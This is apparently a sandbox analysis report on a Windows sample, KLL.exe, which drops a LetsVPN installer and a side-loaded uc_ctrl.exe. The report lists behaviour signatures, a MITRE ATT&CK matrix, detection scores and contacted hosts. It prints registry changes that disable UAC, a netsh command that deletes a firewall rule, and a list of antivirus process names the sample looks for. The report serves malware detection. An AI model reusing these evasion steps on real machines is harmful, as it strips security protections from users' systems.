            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_00007FF674F7139C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF674F7139C
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CFA6E75 __EH_prolog3_GS,GetVersionExW,_wcschr,CoInitializeEx,CoCreateInstance,17_2_6CFA6E75
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Disable UAC(promptonsecuredesktop)
            Source: C:\Windows\System32\reg.exeRegistry value created: PromptOnSecureDesktop 0Jump to behavior
            Disables UAC (registry)
            Source: C:\Windows\System32\reg.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System EnableLUAJump to behavior
            Modifies the windows firewall
            Source: C:\ProgramData\letsvpn-latest.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c netsh advfirewall firewall Delete rule name=lets
            Uses netsh to modify the Windows network and firewall settings
            Source: C:\Users\user\Desktop\KLL.exeProcess created: C:\Windows\System32\netsh.exe "C:\Windows\System32\netsh.exe" -f C:\ProgramData\eiM61.xml
            Source: uc_ctrl.exe, 00000011.00000002.4149081709.0000000002C0B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: avp.exe
            Source: uc_ctrl.exe, 00000011.00000002.4149081709.0000000002C0B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: rtvscan.exe
            Source: uc_ctrl.exe, 00000011.00000002.4149081709.0000000002C0B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: 360tray.exe
            Source: uc_ctrl.exe, 00000011.00000002.4149081709.0000000002C0B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: a2guard.exe
            Source: uc_ctrl.exe, 00000011.00000002.4149081709.0000000002C0B000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: RavMonD.exe
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 Blob
            Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
            Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
            Source: C:\Windows\SysWOW64\cmd.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

            Stealing of Sensitive Information

            barindex
            Modifies the DNS server
            Source: C:\Windows\System32\svchost.exeRegistry value created:
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF82940 ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,MessageBoxA,17_2_6CF82940
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF78200 ?Download@CWebBrowserUI@UiLib@@UAGJPAUIMoniker@@PAUIBindCtx@@KJPAU_tagBINDINFO@@PB_W3I@Z,MessageBoxA,17_2_6CF78200
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF79440 ?GetBindTabLayoutName@COptionUI@UiLib@@QAE?AV?$CStringT@_WV?$StrTraitATL@_WV?$ChTraitsCRT@_W@ATL@@@ATL@@@ATL@@XZ,MessageBoxA,17_2_6CF79440
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF79420 ?GetBindTabLayoutIndex@COptionUI@UiLib@@QAEHXZ,MessageBoxA,17_2_6CF79420
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF770E0 ?BindTabIndex@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,17_2_6CF770E0
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF77140 ?BindUnionButton@CButtonUI@UiLib@@QAEXPAV12@_N1@Z,MessageBoxA,17_2_6CF77140
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF77120 ?BindTriggerTabSel@COptionUI@UiLib@@QAEXH@Z,MessageBoxA,17_2_6CF77120
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF77100 ?BindTabLayoutName@COptionUI@UiLib@@QAEXPB_W@Z,MessageBoxA,17_2_6CF77100

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information1
            Scripting            		1
            Replication Through Removable Media            		341
            Windows Management Instrumentation            		1
            Scripting            		1
            LSASS Driver            		311
            Disable or Modify Tools            		31
            Input Capture            		1
            System Time Discovery            		Remote Services1
            Archive Collected Data            		1
            Ingress Tool Transfer            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts11
            Native API            		1
            LSASS Driver            		1
            DLL Side-Loading            		1
            Deobfuscate/Decode Files or Information            		LSASS Memory11
            Peripheral Device Discovery            		Remote Desktop Protocol31
            Input Capture            		11
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts13
            Command and Scripting Interpreter            		1
            DLL Side-Loading            		1
            Bypass User Account Control            		3
            Obfuscated Files or Information            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares2
            Clipboard Data            		11
            Non-Standard Port            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal Accounts1
            PowerShell            		3
            Windows Service            		1
            Access Token Manipulation            		1
            Software Packing            		NTDS168
            System Information Discovery            		Distributed Component Object ModelInput Capture2
            Non-Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchd11
            Registry Run Keys / Startup Folder            		3
            Windows Service            		1
            Timestomp            		LSA Secrets1
            Query Registry            		SSHKeylogging3
            Application Layer Protocol            		Scheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts12
            Process Injection            		1
            DLL Side-Loading            		Cached Domain Credentials381
            Security Software Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items11
            Registry Run Keys / Startup Folder            		1
            Bypass User Account Control            		DCSync261
            Virtualization/Sandbox Evasion            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            File Deletion            		Proc Filesystem3
            Process Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt42
            Masquerading            		/etc/passwd and /etc/shadow11
            Application Window Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron2
            Modify Registry            		Network Sniffing2
            System Network Configuration Discovery            		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd261
            Virtualization/Sandbox Evasion            		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption
            Gather Victim Org InformationDNS ServerCompromise Software Supply ChainWindows Command ShellScheduled TaskScheduled Task1
            Access Token Manipulation            		KeyloggingProcess DiscoveryTaint Shared ContentScreen CaptureDNSExfiltration Over Physical MediumResource Hijacking
            Determine Physical LocationsVirtual Private ServerCompromise Hardware Supply ChainUnix ShellSystemd TimersSystemd Timers12
            Process Injection            		GUI Input CapturePermission Groups DiscoveryReplication Through Removable MediaEmail CollectionProxyExfiltration over USBNetwork Denial of Service

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1477193 Sample: KLL.exe Startdate: 20/07/2024 Architecture: WINDOWS Score: 60 132 www.yandex.com 2->132 134 www.baidu.com 2->134 136 8 other IPs or domains 2->136 150 Multi AV Scanner detection for submitted file 2->150 152 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 2->152 154 Connects to many ports of the same IP (likely port scanning) 2->154 156 4 other signatures 2->156 11 mmc.exe 1 2->11         started        13 KLL.exe 3 16 2->13         started        17 mmc.exe 1 1 2->17         started        19 8 other processes 2->19 signatures3 process4 dnsIp5 22 letsvpn-latest.exe 11->22         started        124 C:\ProgramData\letsvpn-latest.exe, PE32 13->124 dropped 126 C:\ProgramData\s2XlA\...\vcruntime140.dll, PE32 13->126 dropped 128 C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe, PE32 13->128 dropped 130 2 other files (none is malicious) 13->130 dropped 178 Found evasive API chain (may stop execution after checking mutex) 13->178 180 Uses netsh to modify the Windows network and firewall settings 13->180 26 cmd.exe 1 13->26         started        28 cmd.exe 1 13->28         started        30 cmd.exe 2 13->30         started        32 netsh.exe 2 13->32         started        34 uc_ctrl.exe 1 7 17->34         started        140 127.0.0.1 unknown unknown 19->140 182 Modifies the DNS server 19->182 37 drvinst.exe 19->37         started        39 drvinst.exe 19->39         started        41 2 other processes 19->41 file6 signatures7 process8 dnsIp9 102 C:\Program Files (x86)\...\tap0901.sys, PE32+ 22->102 dropped 104 C:\Program Files (x86)\...\netstandard.dll, PE32 22->104 dropped 106 C:\Program Files (x86)\...\LetsPRO.exe, PE32 22->106 dropped 114 214 other files (2 malicious) 22->114 dropped 160 Bypasses PowerShell execution policy 22->160 162 Modifies the windows firewall 22->162 164 Sample is not signed and drops a device driver 22->164 43 LetsPRO.exe 22->43         started        45 powershell.exe 22->45         started        56 8 other processes 22->56 166 Uses cmd line tools excessively to alter registry or file data 26->166 48 reg.exe 1 26->48         started        59 3 other processes 26->59 168 Uses ipconfig to lookup or modify the Windows network settings 28->168 61 2 other processes 28->61 108 C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dll, PE32 30->108 dropped 50 conhost.exe 30->50         started        52 conhost.exe 32->52         started        138 154.204.0.4, 15628, 49735 DXTL-HKDXTLTseungKwanOServiceHK Seychelles 34->138 116 4 other files (none is malicious) 34->116 dropped 54 cmd.exe 34->54         started        118 2 other files (none is malicious) 37->118 dropped 110 C:\Windows\System32\...\tap0901.sys (copy), PE32+ 39->110 dropped 112 C:\Windows\System32\drivers\SET5AF3.tmp, PE32+ 39->112 dropped file10 signatures11 process12 file13 63 LetsPRO.exe 43->63         started        170 Loading BitLocker PowerShell Module 45->170 67 conhost.exe 45->67         started        172 Disables UAC (registry) 48->172 174 Performs a network lookup / discovery via ARP 54->174 69 conhost.exe 54->69         started        71 ipconfig.exe 54->71         started        120 C:\Users\user\AppData\...\tap0901.sys (copy), PE32+ 56->120 dropped 122 C:\Users\user\AppData\Local\...\SET523B.tmp, PE32+ 56->122 dropped 73 conhost.exe 56->73         started        75 conhost.exe 56->75         started        77 conhost.exe 56->77         started        81 9 other processes 56->81 176 Disable UAC(promptonsecuredesktop) 59->176 79 conhost.exe 59->79         started        signatures14 process15 dnsIp16 142 yandex.com 77.88.44.55, 443, 49749 YANDEXRU Russian Federation 63->142 144 23.98.101.155, 443, 49753, 49758 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 63->144 146 10 other IPs or domains 63->146 148 Loading BitLocker PowerShell Module 63->148 83 cmd.exe 63->83         started        86 cmd.exe 63->86         started        88 cmd.exe 63->88         started        signatures17 process18 signatures19 158 Performs a network lookup / discovery via ARP 83->158 90 conhost.exe 83->90         started        92 ARP.EXE 83->92         started        94 conhost.exe 86->94         started        96 ipconfig.exe 86->96         started        98 conhost.exe 88->98         started        100 ROUTE.EXE 88->100         started        process20

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            KLL.exe8%ReversingLabs
            KLL.exe14%VirustotalBrowse

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Program Files (x86)\letsvpn\LetsPRO.exe0%ReversingLabs
            C:\Program Files (x86)\letsvpn\Update.exe0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe3%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Crashes.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Bcl.AsyncInterfaces.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Primitives.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dll0%ReversingLabs
            C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll0%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            nal.fqoqehwib.com0%VirustotalBrowse
            www.wshifen.com0%VirustotalBrowse
            d1dmgcawtbm6l9.cloudfront.net0%VirustotalBrowse
            socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com0%VirustotalBrowse
            www.google.com0%VirustotalBrowse
            nit.crash1ytics.com0%VirustotalBrowse
            ws-ap1.pusher.com0%VirustotalBrowse
            chr.alipayassets.com0%VirustotalBrowse
            www.yandex.com0%VirustotalBrowse
            in.appcenter.ms0%VirustotalBrowse
            www.baidu.com1%VirustotalBrowse
            yandex.com0%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
            https://g.live.com/odclientsettings/ProdV2.C:0%URL Reputationsafe
            https://g.live.com/odclientsettings/Prod.C:0%URL Reputationsafe
            https://aka.ms/pscore6lB0%URL Reputationsafe
            https://nuget.org/nuget.exe0%URL Reputationsafe
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
            http://www.certum.pl/CPS00%URL Reputationsafe
            http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
            http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
            http://crl.certum.pl/ctnca.crl0k0%URL Reputationsafe
            http://www.apache.org/licenses/LICENSE-2.0.html0%URL Reputationsafe
            https://contoso.com/Icon0%URL Reputationsafe
            http://nsis.sf.net/NSIS_ErrorError0%URL Reputationsafe
            http://www.symauth.com/cps0(0%URL Reputationsafe
            http://www.symauth.com/rpa000%URL Reputationsafe
            http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
            https://www.newtonsoft.com/jsonschema0%URL Reputationsafe
            http://ocsp.sectigo.com00%URL Reputationsafe
            https://contoso.com/License0%URL Reputationsafe
            http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamld0%Avira URL Cloudsafe
            https://pngimg.com/uploads/light/light_PNG14440.png0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamld0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B0%Avira URL Cloudsafe
            https://aka.ms/toolkit/dotnet0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2922442-%D1%87%D1%82%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%0%Avira URL Cloudsafe
            http://foo/Themes/TextBoxDictionary.xaml0%Avira URL Cloudsafe
            https://aka.ms/toolkit/dotnet0%VirustotalBrowse
            https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B0%VirustotalBrowse
            http://foo/Themes/TextBoxDictionary.xamld0%Avira URL Cloudsafe
            https://pngimg.com/uploads/light/light_PNG14440.png0%VirustotalBrowse
            http://foo/Themes/RadioButtonDictionary.xaml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2922442-%D1%87%D1%82%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%0%VirustotalBrowse
            http://foo/Themes/TabControllerDictionary.xaml0%Avira URL Cloudsafe
            http://logging.apache.org/log4net/release/faq.html#trouble-EventLog0%Avira URL Cloudsafe
            http://foo/bar/themes/tabcontrollerdictionary.bamld0%Avira URL Cloudsafe
            http://logging.apache.org/log4net/release/faq.html#trouble-EventLog0%VirustotalBrowse
            https://WSARecv0.0.0.0%2F0info0%Avira URL Cloudsafe
            https://letsvpn.world/registerterm.html0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/3710827-%D0%B7%D0%B0%D1%8F%D0%B2%D0%BB%D0%B5%D0%BD%D0%Avira URL Cloudsafe
            https://letsvpn.world/registerterm.html0%VirustotalBrowse
            http://foo/bar/themes/appmenudictionary.baml0%Avira URL Cloudsafe
            http://foo/bar/themes/textboxdictionary.baml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/3710827-%D0%B7%D0%B0%D1%8F%D0%B2%D0%BB%D0%B5%D0%BD%D0%VirustotalBrowse
            https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid0%Avira URL Cloudsafe
            http://www.hardcodet.net/taskbar0%Avira URL Cloudsafe
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262909-%D1%81%D0%BF%D0%B5%D1%86%D0%0%Avira URL Cloudsafe
            http://www.hardcodet.net/taskbar0%VirustotalBrowse
            http://foo/bar/themes/windowdictionary.baml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ0%VirustotalBrowse
            http://foo/bar/themes/scrollviewdictionary.bamld0%Avira URL Cloudsafe
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262909-%D1%81%D0%BF%D0%B5%D1%86%D0%0%VirustotalBrowse
            https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid0%VirustotalBrowse
            http://www.isimba.cn00%Avira URL Cloudsafe
            https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamld0%Avira URL Cloudsafe
            http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.20%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/app.xaml0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xaml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/collections/Killer0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xaml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2830282-%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%B8%D1%82%D0%Avira URL Cloudsafe
            http://schemas.fontawesome.io/icons/0%Avira URL Cloudsafe
            https://0.0.0.0%2F0l0%Avira URL Cloudsafe
            https://in.appcenter.ms./logs?api-version=1.0.00%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv60%Avira URL Cloudsafe
            http://foo/Themes/ScrollViewDictionary.xamld0%Avira URL Cloudsafe
            http://foo/bar/themes/textboxdictionary.bamld0%Avira URL Cloudsafe
            http://wpfanimatedgif.codeplex.com0%Avira URL Cloudsafe
            http://foo/bar/themes/windowdictionary.bamld0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A90%Avira URL Cloudsafe
            https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b60%Avira URL Cloudsafe
            http://foo/bar/themes/tabcontrollerdictionary.baml0%Avira URL Cloudsafe
            https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.clo0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/app.xamld0%Avira URL Cloudsafe
            http://www.microsoft.o0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit0%Avira URL Cloudsafe
            https://github.com/CommunityToolkit/dotnet0%Avira URL Cloudsafe
            https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f0%Avira URL Cloudsafe
            http://foo/bar/themes/radiobuttondictionary.bamld0%Avira URL Cloudsafe
            http://foo/bar/themes/appmenudictionary.bamld0%Avira URL Cloudsafe
            http://crl.ver)0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2923401-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%BE%D0%B6%D0%B0%0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld0%Avira URL Cloudsafe
            https://github.com/Pester/Pester0%Avira URL Cloudsafe
            http://foo/Themes/WindowDictionary.xaml0%Avira URL Cloudsafe
            http://foo/bar/themes/appmenudictionary.bamlp0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml0%Avira URL Cloudsafe
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262818-%D1%81%D0%BF%D0%B5%D1%86%D0%0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/collections/1627706-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C-%D1%0%Avira URL Cloudsafe
            https://nit.crash1ytics.com/app32/device0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn0%Avira URL Cloudsafe
            https://postPost67.137.174.2540%Avira URL Cloudsafe
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3083562-%D1%81%D0%BF%D0%B5%D1%86%D0%0%Avira URL Cloudsafe
            http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml0%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%90%Avira URL Cloudsafe
            https://ion=v4.520%Avira URL Cloudsafe
            https://nit.crash1ytics.com;0%Avira URL Cloudsafe
            https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f80%Avira URL Cloudsafe
            https://intercom.help/letsvpn-world/en/collections/1628560-help-documents0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            nal.fqoqehwib.com
            		104.112.172.245
            		truefalseunknown
            www.wshifen.com
            		103.235.46.96
            		truefalseunknown
            d1dmgcawtbm6l9.cloudfront.net
            		108.138.24.115
            		truefalseunknown
            socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com
            		18.136.78.90
            		truefalseunknown
            www.google.com
            		142.250.186.132
            		truefalseunknown
            nit.crash1ytics.com
            		223.61.70.52
            		truefalseunknown
            yandex.com
            		77.88.44.55
            		truefalseunknown
            chr.alipayassets.com
            		12.206.118.229
            		truefalseunknown
            in.appcenter.ms
            		unknown
